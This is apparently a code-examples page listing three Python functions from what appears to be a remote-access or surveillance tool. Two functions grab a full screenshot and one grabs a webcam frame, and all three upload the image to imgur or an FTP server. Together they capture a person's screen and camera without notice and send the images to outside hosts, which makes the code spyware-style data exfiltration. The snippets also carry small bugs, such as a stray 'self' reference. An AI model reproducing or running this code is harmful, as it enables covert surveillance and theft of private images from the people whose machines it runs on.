コード例 #1
0
def screenshot(method):
    try:
        if method in ('ftp', 'imgur') and hasattr(util, method):
            with mss.mss() as screen:
                img = screen.grab(screen.monitors[0])
            png = util.png(img)
            result = util.imgur(png)
            return getattr(util, method)(result)
    except Exception as e:
        util.debug("{} error: {}".format(self.screenshot.func_name, str(e)))
コード例 #2
0
def image(*args, **kwargs):
    try:
        dev = cv2.VideoCapture(0)
        r,f = dev.read()
        dev.release()
        if not r:
            util.debug(f)
            return "Unable to access webcam"
        png = util.png(f)
        return util.imgur(png) if 'ftp' not in args else util.ftp(png, filetype='.png')
    except Exception as e:
        return '{} error: {}'.format(image.func_name, str(e))
コード例 #3
0
def screenshot(method):
    try:
        assert isinstance(
            method, str), "argument 'method' must be of type '{}'".format(str)
        if 'mss' in globals():
            if method in ('ftp', 'imgur') and hasattr(util, method):
                with mss.mss() as screen:
                    img = screen.grab(screen.monitors[0])
                png = util.png(img)
                result = util.imgur(png)
                return getattr(util, method)(result)
            else:
                util.debug(
                    "invalid upload method '{}' for module 'screenshot' (valid: ftp, imgur)"
                    .format(method))
        else:
            import mss
            return screenshot(method)
    except Exception as e:
        util.debug("{} error: {}".format(self.screenshot.func_name, str(e)))